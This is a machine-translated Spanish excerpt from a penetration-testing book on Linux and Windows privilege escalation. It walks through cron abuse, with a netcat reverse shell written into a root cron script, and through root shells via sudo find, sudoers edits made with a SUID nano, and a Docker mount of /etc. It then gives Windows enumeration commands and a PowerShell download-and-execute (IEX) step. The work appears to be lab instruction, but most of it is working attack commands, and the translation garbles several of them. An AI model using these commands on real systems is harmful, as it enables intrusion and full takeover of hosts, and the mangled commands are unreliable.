Canal de Telegram : @IRFaraExam
Machine Translated by Google
Barra diagonal (/): Esto especifica un valor de paso. Por ejemplo, cada 4 horas
. es un archivo de configuración de todo el sistema. Pero
equivale a */4/etc/crontab
cada usuario puede configurar sus propias tareas de crontab ejecutando el siguiente
comando:
$crontab-e
El comando anterior abrirá el archivo crontabuser y permitirá que el usuario agregue tareas.
Anacrontab
Otra forma final de agregar trabajos cron es usar una tabuladora. El archivo de
configuración de todo el sistema para esta se encuentra en /etc/anacrontab
. ¿Por
qué usar
este
método? De hecho, anacron no espera que su host esté siempre ejecutándose; verificará
todos los scripts programados después de que reinicie su host. Esto es práctico para hosts
normales donde espera que estén apagados.
Período
7
retrasar el comando identificador de
trabajo 10backup.dailycp/etc/passwd/root/
El primer campo es el período, un valor numérico que representa el número de días de la
tarea:
1: Mediodiario
7: Media semanal
30: Medias mensuales
O puede usar este formato: @diario/@semanal/@mensual .
Puede usar un número personalizado para especificar cualquier número para los días.
El segundo campo es la demora de minutos que la máquina debe esperar después de
un reinicio (antes de ejecutar las tareas programadas).
El tercer campo es el identificador del nombre del trabajo. Cada tarea debe tener un nombre
único y se guardará un archivo con el mismo nombre en el directorio /var/spool/anacron/ .
Este archivo contendrá una marca de tiempo de la última vez que se ejecutó el trabajo .
Finalmente, el último campo identificará el comando que queremos ejecutar.
Enumeración y explotación de CRON
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para obtener una lista de todos los contenidos del directorio cron, use:
$ls-la/etc/cron*2>/dev/null
Parabuscarmundo: trabajos cron grabables, establezca:
$find/etc/cron*-perm-0002-typef-execls-la{}\;-execcat{}2>/dev/null\;
Para inspeccionar el contenido de la tabulación temporal, configure:
$cat/etc/crontab2>/dev/null
Para comprobar las entradas del cronta del usuario raíz, utilice:
$crontab-l-uroot
Tolistanacronjobs, utiliza:
$ls-la/var/spool/anacron2>/dev/null
Comencemos con un ejemplo de cómo explotar cron en un host Linux.
tenga un usuario de shell limitado (elliot) conectado a un servidor de usuario de Ubunt .
crontabentriesrevelaunatareaprogramadaqueseejecutacadaminutoyejecutauna
script guardado en el directorio /root/schedule/ :
elliot@ubuntu14Servidor:~$ cat/etc/crontab2>/dev/null
[..]
****
rootcd/&&run-parts--report/etc/cron.hourly
***
17roottest-x/usr/sbin/anacron||(cd/&&run-parts-256report/etc/cron.daily)
**
7roottest-x/usr/sbin/anacron||(cd/&&run-parts-476report/etc/cron.weekly)
**
5261roottest-x/usr/sbin/anacron||(cd/&&run-parts-informe/etc/cron.monthly)
*****
root/opt/copia de seguridad.sh
#
elliot@ubuntu14Servidor:~$
A continuación, inspeccionemos el archivo para ver si podemos escribir en él usando el ls
mando:
elliot@ubuntu14Server:~$lsÿla/opt/backup.shÿ
rwxrwxrwx1rootroot42Aug1915:20/opt/backup.sh
En esta etapa, comenzaremos a escuchar en el puerto 1111 en un Kalibox para escuchar un
Canal de Telegram : @IRFaraExam
Machine Translated by Google
shell entrante:
root@kali:~#ncÿnlvp1111
escuchando[cualquiera]1111…
A continuación, abra el script de tareas ( backup.sh ) con el editor de texto Nano e inserte
su script de shell inverso. Elimine todo el contenido que contiene y reemplácelo con lo
siguiente:
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc172.16.0.1021111>/tmp/f
Guarde el texto (Ctrl+O) y cierre Nano (Ctrl+X). Espere un minuto a que se ejecute el trabajo y
obtendrá un shell raíz:
root@kali:~#nc-nlvp1111 escuchando
en[cualquier]1111… conectarse
a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.101]50971 /bin/sh:0:no se puede
acceder a tty;jobcontrolturnedoff #id uid=0(root )gid=0(raíz)grupos=0(raíz)
#
sudoers
El comando sudo se introdujo en el sistema Unix/Linux para la separación de privilegios.
Un usuario puede usar el comando sudo para ejecutar comandos con privilegios altos al
proporcionar una contraseña.
$sudousermod-aGsudo[nombre de usuario]
Además, un administrador del sistema puede modificar el archivo de configuración de
sudoers así como /etc/sudoers para obtener permisos más granulares. ¡Veamos cómo aprovecharlo!
sudoPrivilegeEscalation
Haydiferentesmanerasdeescalarnuestrospermisosparaobteneryejecutaruncomandodeprivilegioalto.Ashackers,n
Busque el SUID en un editor de texto como Vim/Nano para editar el archivo
sudoers .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Enumere los permisos de sudo y busque cualquier programa que pueda omitir .
Intenta ejecutar sudo sin contraseña.
ExplotacióndelcomandoBuscar
La sección anterior enumera las formas en que puede aprovechar las debilidades en los
permisos de sudo . El segundo punto menciona que podemos enumerar los permisos de
sudo . Para hacer el trabajo, usemos el comando apropiado como sigue:
elliot@ubuntu14Server:~$sudoÿl
[sudo]contraseñaforelliot:
Coincidencia de entradas predeterminadas para el servidor ubuntu14:
env_reset, mail_badpass, ruta_segura=/usr/local/sbin\:/usr/local/bin\:/usr/
sbin\:/usr/bin\:/sbin\:/bin
El usuarioelliotpuedeejecutarlossiguientescomandosenelservidorubuntu14: (raíz)/usr/
bin/find
El usuario elliot tiene la opción de ejecutar el comando de búsqueda con permisos
de raíz. Veamos cómo podemos aprovechar este comando para la escalada de privilegios.
Use la opción exec en el comando de búsqueda para ejecutar un shell raíz:
elliot@ubuntu14Server:~$ sudofind/ÿexecshÿi \; #id
uid=0(raíz)gid=0(raíz)groups=0(raíz) #
Esa es una forma de explotar usando el comando de búsqueda , pero puede aprovechar cualquier
programa enumerado en los permisos de sudo .
Edición del archivo sudoers
Recuerde que cualquier editor de texto que tenga configurado el bit SUID nos permitirá
editar archivos de configuración, incluido el archivo /etc/sudoers .
Primero, enumere los archivos SUID en su shell limitado actual:
elliot@ubuntu14Server:~$ find/ÿpermÿu=sÿtypef2>/dev/null /bin/umount /bin/mount /
bin/ping6 /bin/su /bin/ping /bin/fusermount
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/bin/nano /
usr/bin/traceroute6.iputils /usr/bin/chsh
El programa Nano aparece en la lista de resultados, por lo que puedo usarlo para editar el
archivo sudoers : $ nano /. etc
permiso
para elliot
(lo insertaré agregaré
al final delun
Una/ sudoerssudo
vez que se cargue
el archivo
de configuración,
archivo):
#Allowmembersofgroupsudotoejecutanycommand #%sudoALL=(ALL:ALL)ALL
#Seesudoers(5)para obtener más información sobre las directivas "#include":
#includedir/etc/sudoers.d
elliotALL=(TODO)SINPASSWD:TODO
Para asegurarse de que los cambios surtan efecto, salga de la sesión SSH de elliot y vuelva a iniciar sesión.
Una vez que haya iniciado sesión, ejecute el shell SH con el comando sudo . Tenga en
cuenta que la ventana del terminal no solicitó una contraseña y eso se debe a la
configuración "NOPASSWD" que agregamos anteriormente:
elliot@ubuntu14Server:~$sudoshÿi #id
uid=0(raíz)gid=0(raíz)groups=0(raíz)
#
Explotación de los servicios de ejecución
Algunos servicios instalados en un sistema Linux se ejecutarán en modo de acceso
root. Esta falla nos permite aprovechar este comportamiento y obtener un shell raíz.
elliot@ub01:/$ psÿaux|grepDocker
elliot30460.00.017532724pts/0S+09:140:00grepÿÿcolor=autoDocker
Ejecute el mismo ataque que hicimos anteriormente mediante la manipulación del archivo de
configuración sudoers . A continuación, ejecute un nuevo contenedor basado en la imagen de Alpine:
elliot@ub01:~$ dockerrunÿitdÿv/etc/:/mnt/alpine
17d6da6fca8152fd8f2360abc5a4cad928c0d655e2c1fadac7df1de6c669dd23 elliot@ub01:~$
dockerps
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ID DE CONTENEDOR
COMANDO DE IMAGEN CREADO
ESTADO
NOMBRES DE
PUERTOS
alpino"/bin/sh"10segundosagoUp9segundos
17d6da6fca81bold_aryabhata
Tenga en cuenta que montamos /etc/ en el host de Ubuntu en /mnt/ en el contenedor
Docker . Es hora de interactuar con el contenedor para editar el archivo sudoers :
elliot@ub01:~$ dockerexecÿit17d6da6fca81/bin/sh /# cd/mnt/ /mnt#
echo"elliotALL=(ALL)NOPASSWD:ALL">>sudoers /mnt# exit
Veamos si podemos usar el comando sudo para obtener un shell raíz en el host de Ubuntu:
elliot@ub01:~$ sudoshÿi #id
uid=0(raíz)gid=0(raíz)groups=0(raíz) #
Scripts automatizados
En este punto, debe comprender cómo obtener acceso raíz con un shell limitado.
Dicho esto, todos los comandos discutidos en este capítulo se pueden automatizar para
comprobar si el sistema Linux de destino es vulnerable. A primera vista, la información es
abrumadora, y un script automatizado nos hará la vida más fácil.
Cuando desee utilizar un script, recuerde seguir estos pasos:
1. Inicie el servidor web para su Kalihost (para que pueda transferir el archivo de script).
2. Desde el shell limitado en el host Linux de destino, haga lo siguiente:
a. Cambie su directorio actual a donde tenga permisos para escribir
(por ejemplo, /
tmp/ ). b.Descargueelarchivomediantewgetocurl
.
c.Cambieelpermisoenelarchivomedianteelcomandochmod + x . _ _
d. Ejecute el archivo de script (opcionalmente, guarde la salida en caso de que pierda su
cascarón).
Estos son los tres principales scripts automatizados que puede usar durante sus pruebas de
penetración (puede guardarlos para usarlos siempre que llegue el momento de la escalada
de privilegios):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
LinEnum: github.com/rebootuser/LinEnum
LinuxPrivChecker: github.com/sleventyeleven/linuxprivchecker
LinuxExploitSuggester: github.com/mzet-/linux-exploit-suggester
UngrantoneesLinEnum. Estos son los pasos para implementar cuando desee utilizar esta
herramienta en un host Linux de destino:
1. Inicie el servidor web en mi host Kali (la máquina atacante).
2. En el shell limitado, cambie su directorio actual a /tmp (porque esto
carpeta generalmente permite que todos escriban y ejecuten).
3. Descargue el script Lin Enum en el host de destino (víctima) mediante el wget
mando.
$wgethttp://[KaliIP]/LinEnum.sh
4. Otorgue al archivo los permisos de ejecución.
$chmod+xLinEnum.sh
5. Ejecutarlo.
$./LinEnum.sh
Resumen
El sistema operativo Linux es vulnerable a la escalada de privilegios si su usuario
root no lo configuró correctamente (o si el kernel no se actualizó adecuadamente). Si
ese es el caso, tiene suficiente espacio para obtener un shell raíz.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 11
Escalada de privilegios de Windows
Como sabe, el sistema operativo Microsoft Windows es popular entre los usuarios individuales y las
empresas para sus empleados. Hay mucha información sobre la escalada de privilegios en el sistema operativo
Windows y, como es habitual, todos los conceptos se explican a través de ejemplos. Al final de este capítulo,
debería poder empezar a escalar sus privilegios con facilidad.
Estecapítulocubrelossiguientestemas:
CómoenumerarelsistemaoperativoWindows
Cómo transferir archivos a Windows mientras está en un shell limitado
Windowskernelexploits
Explotación de los servicios de Windows
Explotación de la GUI de Windows
Herramientas de automatización de escalada de privilegios
WindowsSystemEnumerationWindowsSystemEnumeration
Antes de comenzar a explotar el sistema operativo Windows, necesitaremos enumerar el host. En
esta sección, verá todos los comandos básicos de numeración para realizar el trabajo.
Información del sistema Para explotar
el sistema para la escalada de privilegios, deberá comprender los detalles del sistema operativo. El
comando systeminfo le brindará mucha información sobre el sistema operativo Windows de destino :
C:\Usuarios\Gus>info del sistema
Nombre de host:
WINDOWS10LAB
Nombre del sistema operativo:
MicrosoftWindows10Enterprise
LTSC
Versión del sistema operativo:
10.0.17763N/ABuild17763 Microsoft
OSFabricante:
Corporation
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Configuración del sistema operativo:
OSBuildType:
Dueño registrado:
Organización Registrada:
ID del Producto:
Fecha de instalación original:
Tiempo de arranque del sistema:
Fabricante del sistema:
Modelo de sistema:
MiembroEstación de trabajo
MultiprocesadorGratis
Usuario de Windows
00424-90483-55456-AA805
6/1/2020,9:40:20AM
9/8/2020,5:30:37 p. m.
VMware, Inc.
VMware7,1
PC basado en x64
Tipo de sistema:
Procesador(es):
1Procesador(es) instalado(s).
[01]:Intel64Family6Model158Stepping10GenuineIntel~3192Mhz
VMware, Inc.
BIOSVersión:VMW71.00V.16221537.B64.2005150253,5/15/2020
WindowsDirectorio:C:\Windows
Directorio del sistema: C:\Windows\system32
BootDevice:\Dispositivo\HarddiskVolume1
SystemLocale:en-us;Inglés (Estados Unidos)
InputLocale:en-us;Inglés (Estados Unidos)
Zona horaria: (UTC-05:00) hora del este (EE. UU. y Canadá)
4.095 MB
2553 MB
4,799 MB
3,434MB
1,365 MB
C:\pagefile.sys
KCorp.local
\\WINDOWS10LAB
TotalPhysicalMemory:AvailablePhysicalMemory:VirtualMemory:MaxSize:VirtualMemory:Available:VirtualMemory:I
10Revisión(es) instalada(s).
[01]:KB4570720
[02]:KB4465065
[03]: KB4470788
[04]:KB4487038
[05]:KB4549947
[06]:KB4561600
[07]:KB4562562
[08]:KB4566424
[09]: KB4570332
[10]:KB4570333
Tarjeta(s) de red:
2NIC(s) instalado(s).
[01]:DispositivoBluetooth(Personal
red de área)
Nombre de la conexión:
BluetoothRedConexión
Estado:
Mediadisconnected
[02]:Intel(R)82574LGigabit
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Conexión de red
Nombre de la conexión:
Ethernet0
DHCP habilitado:
sí
Servidor DHCP:
172.16.0.2
Dirección(es) IP
[01]:172.16.0.104
[02]:fe80::8920:1b10:a0d5:635b Se ha detectado un
Requisitos de Hyper-VR: no se
hipervisor.
mostrarán las características requeridas para Hyper-V.
Como puede ver en los resultados anteriores, hay mucha información. Para hacerlo más simple, podemos filtrar el resultado
usando el comando findstr , como se muestra aquí:
C:\Usuarios\Gus>info del sistema|findstr/B/C:"Nombre del SO"/C:"Versión del SO"
Nombre del sistema operativo: MicrosoftWindows10EnterpriseLTSC
Versión del sistema operativo: 10.0.17763N/ABuild17763
WindowsArquitectura
Para obtener la arquitectura, utilizaremos la utilidad WMIC. Encontrará la herramienta WMIC en diferentes escenarios
si va a utilizar la línea de comandos de Windows. De hecho, esta utilidad proporciona una interfaz de línea de comandos
para la instrumentación de administración de Windows:
C:\Usuarios\Gus>wmicosgetosarchitecture||echo
%PROCESADOR_ARQUITECTURA%
Arquitectura OS de 64
bits
Listado de unidades de disco
Para enumerar todas las unidades en el sistema operativo Windows, usemos la utilidad wmic una vez más:
C:\Users\Gus>wmic logicaldiskgetcaption||fsutilfsinfodrives
Subtítulo
C:
D:
Parches instalados
Para enumerar los parches del sistema instalados en el sistema operativo Windows, puede usar la información del sistema
Canal de Telegram : @IRFaraExam
Machine Translated by Google
comando que usamos anteriormente. Este trabajo también se puede realizar usando el
utilidad wmic :
C:\Usuarios\Gus>wmic qfegetCaption, Descripción, HotFixID, InstalledOn
TítuloDescripciónInstalado en
HotFixID
http://support.microsoft.com/?kbid=4570720UpdateKB45707209/8/2020
http://support.microsoft.com/?kbid=4465065ActualizaciónKB44650656/1/2020
http://support.microsoft.com/?kbid=4470788Actualización de seguridadKB44707883/6/2019
http://support.microsoft.com/?kbid=4487038Actualización de seguridadKB44870383/6/2019
http://support.microsoft.com/?kbid=4549947Actualización de seguridadKB45499476/1/2020
http://support.microsoft.com/?kbid=4561600Actualización de seguridadKB45616006/15/2020
http://support.microsoft.com/?kbid=4562562Actualización de seguridadKB45625626/15/2020
http://support.microsoft.com/?kbid=4566424Actualización de seguridadKB45664248/25/2020
http://support.microsoft.com/?kbid=4570332Actualización de seguridadKB45703329/8/2020
https://support.microsoft.com/help/4570333SecurityUpdateKB45703339/8/2020
¿Quién soy?
Cuando haya conectado un shell a un sistema operativo Windows, una pieza de
información importante que desea saber es qué privilegios tiene.
quien mi comando le dará esta información:
C:\Usuarios\Gus>whoami
windows10lab\gus
C:\Usuarios\Gus>whoami /priv
PRIVILEGIOSINFORMACIÓN
---------------------PrivilegeName
Descripción
Estado
================================================== ===============
========
SeShutdownPrivilege
Apagarelsistema
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Discapacitado
SeChangeNotifyPrivilegio
Activado
Comprobación de derivación transversal
SeUndockPrivilege
Discapacitado
Quitar la computadora de la estación de acoplamiento
SeIncreaseWorkingSetPrivilegeIncreaseaprocessworkingset
Discapacitado
SeTimeZonePrivilege
Discapacitado
cambiarlazonahoraria
ListarUsuariosyGrupos
Tiene muchas opciones para incluir a los usuarios locales en el sistema operativo Windows.
¿Por qué es importante para la escalada de privilegios?
los usuarios y grupos proporcionarán una gran visión acerca de cómo cambiar de un
usuario limitado a otro usuario con privilegios de administrador.
este es usuario de red :
C:\Users\Gus>netuser
Cuentas de usuario para\\WINDOWS10LAB
-------------------------------------------------- -----------------
----Administrador
adminDefaultAccount
gus
InvitadoWDAGCuenta de utilidad
El comando se completó con éxito.
A continuación, puede elegir el usuario al que desea apuntar y obtener su información:
C:\Usuarios\Gus>net useradmin
Nombre de usuario
administración
Nombre completo
administración
Comentario
comentario del usuario
administración
Código de país/región
Contable
000 (predeterminado del sistema)
sí
La cuenta caduca
Nunca
última contraseña
15/6/202012:47:47 p. m.
La contraseña caduca
Nunca
Contraseña cambiable
16/6/202012:47:47 p. m.
Se requiere contraseña
El usuario puede cambiar la contraseña
sí
sí
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Estaciones de trabajo permitidas
Todos
Guión de inicio de sesión
Perfil del usuario
directorio de inicio
Último inicio de sesión9/4/2020
5:01:21 p. m.
Horas de inicio de sesión permitidas
Todos
Membresías de grupos locales
*Administradores
*Remoto
Usuarios de escritorio
*Membresías del grupo global de usuarios*Ninguno El comando
completó
se
correctamente.
Para enumerar los grupos locales en el host de Windows, use el comando netlocalgroup :
C:\Usuarios\Gus> net localgroup
Alias para\\WINDOWS10LAB
-------------------------------------------------- -----------------
----* AccessControlAssistanceOperadores * Administradores *
Backupoperadores * Criptografos operadores * Distribuidores
* Distribuidores * EventLograds * Huésped * HyperVadministrators * Iis_Irs * NetworkConfigurationoperators *
PerformanceLogusers * PerformanceMonitoryers
Para obtener información detallada sobre un determinado grupo, use esto:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
C:\Usuarios\Gus> net localgroupIIS_IUSRS
AliasnameIIS_IUSRS Grupo
integrado
utilizado por
Internet
Information
Comment Services.
Miembros
-------------------------------------------------- -----------------
----NTAUTHORITY\IUSR El
comando se completó correctamente.
Si el host está conectado al controlador de dominio, entonces puede enumerar los grupos de
dominio, como se muestra aquí:
C:\Users\Gus>net group/domain La solicitud
se procesará en un controlador principal para el dominio KCorp.local.
Cuentas de grupo para\\AD-Server.KCorp.local
-------------------------------------------------- -----------------
----*Controladores de dominio clonables
*DnsUpdateProxy *Administradores de
dominio *Equipos de dominio *Controladores
de dominio *Invitados de dominio *Usuarios
de dominio *Administradores de empresa
*Administradores de clave de empresa
*Controladores de dominio de solo lectura
de empresa *Propietarios del creador de
directivas de grupo *Administradores clave
*Usuarios protegidos *Controladores de dominio de solo
lectura *Administradores de esquema completo El comando
se completó con éxito.
Para ver los detalles sobre un determinado grupo de dominio, utilice:
C:\Usuarios\Gus> grupo/dominio de red"DomainAdmins"
La solicitud se procesará en un controlador principal para el dominio KCorp.local.
Nombre del grupo
Administradores de dominio
Comentario
Administradores Designados Del Dominio
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Miembros
-------------------------------------------------- -----------------
-----
Administrador
El comando se completó con éxito.
RedesInformación
Para obtener una lista de todas las interfaces de red y sus direcciones IP asociadas, puede utilizar
el comando ipconfig :
C:\Usuarios\Gus>ipconfig /todos
Configuración IP de Windows
. . . . .
Sufijo Dns primario.
Tipo de nodo. . . . . .
Enrutamiento IP Habilitado..
WINSProxy Habilitado..
DNSSuffixSearchList..
Nombre de host.
.
. .
.
.
.
. .
.
. .
. .
. .
.
.
. .
.
.
.
.
. .
.
. .
. .
. .
. .
:
:
:
:
:
:
Windows10Lab
KCorp.local
Híbrido
No
No
KCorp.local
Adaptador EthernetEthernet0:
Sufijo DNS específico de la conexión.
. . . . . . . . .
Descripción.
Conexión de red
. . . . . .
Dirección física..
. . . . . . . .
DHCP habilitado..
Configuración automática habilitada. . .
. . .
Enlace-direcciónIPv6local.
fe80::8920:1b10:a0d5:635b%4(Preferido)
. . . . . . . .
Dirección IPv4..
Máscara de subred. . . . . . . . . .
. . . . . . .
Contrato obtenido..
17:30:43
El arrendamiento caduca. . . . . . . . .
8:58:33 a. m.
Puerta de enlace predeterminada. . . . . . . .
. . . . . . . . .
Servidor DHCP.
. . . . . . . . .
DHCPv6IAID.
. . . . .
DHCPv6ClientDUID..
29-1B-72-43
Servidores
DNS.172.16.0.1
:KCorp.local
. :Intel(R)82574LGigabit
.
.
.
.
:00-0C-29-1B-72-43
:Sí
:Sí
:
. :172.16.0.104(Preferido)
. :255.255.255.0
. :martes,8 de septiembre de 2020
. :jueves,17 de septiembre de 2020
.
.
.
.
:172.16.0.1
:172.16.0.2
:67111977
: 00-01-00-01-26-66-BD-99-00-0C
. . . . . . . . . . :172.16.0.2
NetBIOS sobre Tcpip..
. . . . . . :Activado
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[…]
Para enumerar la tabla de enrutamiento del host local , puede usar el comando de impresión de ruta.
la tabla de enrutamiento de host le mostrará todas las conexiones de ruta de red a otros hosts
en la misma red:
C:\Usuarios\Gus> imprimir ruta
================================================== ======
Lista de interfaz
4…000c291b7243……Intel(R)82574LGigabitNetworkConnection
6…9cb6d0fd7b1a…….Dispositivo Bluetooth (Red de área personal)
1………………………………Interfaz de bucle invertido de software1
================================================== ======
Tabla de rutas IPv4
================================================== ======
rutas activas:
Interfaz Métrica
NetworkDestinationNetmaskGateway0.0.0.00.0.0.0172.16.0.1172.16.0.104255.0.0.0Onlink127.0.0.0127.0.0.1127.0.0.1255.255.255.255Onlink127.0.0.1127.255.255.255255.255.255.255Onenlace172.16.0.104
link127.0.0.1172.16 .0.0255.255.255.0En
25
331
331
331
281
[…]
Para enumerar todas las conexiones actuales establecidas desde el host de Windows (por ejemplo, web
servidor, SMB, RDP, etc.), establezca:
C:\Usuarios\Gus>netstat ÿano
Conexiones activas
PID
LocalAddressForeignAddressState0.0.0.0: 1350.0.0.0: 00.0.0.0:
4450.0.0.0: 00.0.0.0: 33890.0.0.0:
00.0.0.0:
00.0.0.0:
76800.0.0.0:
50400.0.0.0:
00:00:04:00:04
ESCUCHANDO940
ESCUCHANDO4
00.0.0.0:496650.0.0.0:0
ESCUCHANDO736
ESCUCHANDO5608
ESCUCHANDO2056
ESCUCHAR508
ESCUCHANDO1528
ProtoTCPTCPTCPTCPTCPTCPTCPTCP[…]
Para enumerar la configuración y el estado del firewall, debe usar el comando netsh :
C:\Usuarios\Gus> estado de demostración del cortafuegos netsh
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Estado del cortafuegos:
-------------------------------------------------- -----------------
Perfil=Dominio
Modo operativo = Deshabilitar
Modo de excepción=Habilitar
Multidifusión/broadcastresponsemode=Habilitar
Modo de notificación=Habilitar
Grouppolicyversion=WindowsDefenderFirewall
Remoteadminmode=Deshabilitar
[…]
C:\Usuarios\Gus>netsh firewallshowconfig
Configuración del perfil de dominio (actual):
-------------------------------------------------- -----------------
Modo operativo = Deshabilitar
Modo de excepción=Habilitar
Multidifusión/broadcastresponsemode=Habilitar
Modo de notificación=Habilitar
[…]
Para enumerar los recursos compartidos de red en el host de Windows, deberá usar la red
compartir comando. Acceder a una carpeta compartida a veces revelará
secretosenelhostobjetivo:
C:\Usuarios\Gus> reparto neto
Nombre compartidoRecursoObservación
-------------------------------------------------- -----------------
----RemoteIPC
IPC$C$C:\ADMIN$C:
Compartir por defecto
\WindowsCC:\
Administrador remoto
SharedC:\Usuarios\admin\Documentos\Sha...
Shared_GusC:\Usuarios\Gus\Documentos\Compartido
UsuariosC:\Usuarios
El comando se completó con éxito.
Mostrar permisos débiles
Para comprobar los permisos de una carpeta/archivo, puede utilizar el comando icacls. Nota
que si está utilizando un antiguo sistema Windows heredado (anterior a Windows Vista), entonces
tiene que usar el comando cacls :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
C:\Usuarios\Gus\Documentos>icacls Shared
CompartidoWINDOWS10LAB\admin:
(OI) (IC) (F)
(I) (OI) (CI) (F)
(I) (OI) (CI) (F)
(I) (OI) (CI) (F)
AUTORIDAD\SISTEMA:
BUILTIN\Administradores:
WINDOWS10LAB\Gus:
Archivos 1 procesados correctamente; archivos 0 procesados fallidos
Lo que está buscando en la salida es lo siguiente:
(F) :Acceso total
(M) :Modificaracceso
(W) :acceso de solo escritura
Para encontrar todos los permisos débiles en una unidad de disco específica, puede usar el
Utilidad Sysinternals Accesschk.exe . Para obtener una copia del archivo, puede descargar
del sitio oficial de Microsoft en docs.microsoft.com/en us/sysinternals/
downloads/accesschk:
C:\Usuarios\Gus\Documentos\AccessChk>accesschk.exe /accepteula ÿuwqsUsersc:\*.*
Accesschkv6.12-Informa permisos efectivos para objetos asegurables
Copyright(C)2006-2017MarkRussinovich
Sysinternals-www.sysinternals.com
RWc:\$Papelera.de.reciclaje
RWc:\ProgramData
RWc:\ProgramData\IperiusBackup
RWc:\ProgramData\USOShared
RWc:\ProgramData\VMware
RWc:\ProgramData\IperiusBackup\IperiusAccounts.ini
RWc:\ProgramData\IperiusBackup\IperiusConfig.ini
RWc:\ProgramData\IperiusBackup\Jobs
RWc:\ProgramData\IperiusBackup\Logs
Listado de programas instalados
Para enumerar todos los programas instalados, puede usar un comando de PowerShell para mostrar
el contenido de las carpetas Archivos de programa y Archivos de programa (x86).
aplicaciones nos permitirán instalar cualquier software antiguo que podamos explotar).
PSC:\Users\Gus> GetÿChildItem'C:\ProgramFiles','C:\Program
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Archivos(x86)'|ftParent,Nombre,LastWriteTime
Padre
------
Nombre
----
LastWriteTime
-------------
Archivos de programa
Archivos comunes
6/1/20209:40:37
Archivos de programa
PM
explorador de Internet
9/8/20205:30:11
Archivos de programa
12:48:47
UNP
15/06/2020
Archivos de programa
vmware
6/1/20209:40:40
Defensor de Windows
3/6/202010:13:43
Defensor de Windows
Protección contra amenazas avanzada
9/8/20205:30:11
Correo de Windows
15/9/20183:33:53
Archivos de programa
PM
Reproductor de medios de Windows
15/6/20205:41:10
Archivos de programa
WindowsMultimedia Platform
9/15/20185:10:10
ventanas
15/9/20183:42:33
Archivos de programa
PM
Visor de fotos de Windows
15/6/20205:41:10
ProgramaArchivosAM
WindowsPortátilDispositivos
9/15/20185:10:10
SOY
SOY
Archivos de programa
SOY
Archivos de programa
PM
Archivos de programa
SOY
SOY
Archivos de programa
SOY
[…]
Listado de tareas y procesos
Para obtener una lista de todas las tareas y procesos en el sistema operativo Windows, deberá usar el
comando tasklist/v . La salida de este comando es grande y engorrosa.
Puede filtrar los resultados para mostrar solo los procesos del sistema:
C:\>lista de tareas/v/fi"nombredeusuarioeqsystem"
ImageName
EstadoUsuarioNombre
==========
=======
PIDSesionName
CPUTime
===============
Sesión#
Título de la ventana
========
Sistema inactivo08
Proceso
0
Servicios
AUTORIDAD\SISTEMA desconocido
PARA
Canal de Telegram : @IRFaraExam
Uso de memoria
=========
Machine Translated by Google
67:36:31N/A
Para enumerar las tareas programadas en el host, puede usar el comando PowerShell para obtener
los resultados. En el siguiente comando, estamos usando un filtro para excluir las tareas relacionadas
con Microsoft, ya que estamos interesados en las tareas programadas personalizadas:
PSC:\Users\Gus> GetÿScheduledTask|where{$_.TaskPathÿnotlike"\Microsoft*"}|
ftTaskName,TaskPath,State
Nombre de la tarea
TaskPathState
------------------
--
User_Feed_Synchronization-{39054AFF-4CE0-4A65-B33D-5F0D58A8935F}\
Listo
Transferencias de archivos
Para los sistemas operativos Linux o Windows, necesitaremos transferir archivos al host de
destino, especialmente cuando tengamos que lidiar con un exploit de kernel. En capítulos
anteriores, vio los conceptos básicos de cómo transferir archivos a un host de Linux.
WindowsHostDestino
Si el host de destino es un sistema operativo Windows, puede usar las siguientes opciones para
transferir archivos:
Utilice una unidad compartida Samba e intente acceder a ella desde el shell del símbolo del
sistema limitado de Windows:
>copiar\\[SMBIPAddress]\[SMBFolderName]\[FileToTransfer]
Utilice un cliente FTP para descargar los archivos en el host de Windows utilizando el
símbolo del sistema:
>ftpopen[Dirección IP del servidor FTP]
Luego, ingrese las credenciales.
>ftp>binario
>ftp>get[nombre de archivo]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Mi opción favorita es descargar y ejecutar el archivo usando PowerShell.
Para realizar el trabajo, deberá alojar el exploit en un servidor web y, a continuación, ejecutar el
siguiente comando en el símbolo del sistema:
>powershell"IEX(NewObjectNet.WebClient).downloadString('http://[IPAddress]/[filename]')"
El segundo método de transferir archivos usando PowerShell para crear el script en el host de
Windows y luego ejecutarlo. Para crear el archivo de script, debe usar los siguientes comandos en el
símbolo del sistema:
>echo$storageDir=$pwd>wget.ps1
>echo$webclient=New-ObjectSystem.Net.WebClient>>wget.ps1 >echo$url="http://[IP]/
[filename]">>wget. ps1 >echo$file="[nombre de archivo]">>wget.ps1
>echo$webclient.DownloadFile($url,$file)>>wget.ps1
Recuerde que necesita reemplazar la dirección IP y el nombre del archivo de explotación con su
información. Ahora, para ejecutar el archivo wget.ps1 , use PowerShell nuevamente para hacer el
trabajo:
>powershell.exe-ExecutionPolicyBypass-NoLogo-NonInteractive-NoProfile-Filewget.ps1
LinuxHostDestino
Analicemos algunas formas de transferir archivos a un sistema operativo Linux mediante la ventana
de terminal:
Descarguelosarchivosdesdeunservidorwebremotomedianteunodelossiguientescomandos:
$wgethttp://[IP]/[nombre de archivo] $curlo[nombre de archivo]http://[IP]/[nombre de archivo]
En FreeBSD, usaría $fetch-o[nombre de archivo] http://[IP]/[nombre de
archivo] .
Si el servidor remoto ejecuta un servicio SSH, entonces podemos descargar el archivo de explotación
utilizando una copia segura (SCP):
$scpuser@IP:RemotePathLocalPath
Por ejemplo, para copiar exploit.bin de un servidor SSH remoto
Canal de Telegram : @IRFaraExam
Machine Translated by Google
(IP: 172.16.0.33) al directorio tmp local, use esto:
[email protected]:/exploit.bin/tmp/
Si el host de la víctima tiene netcat instalado , también puede usarlo
para transferir archivos .
OnKali:
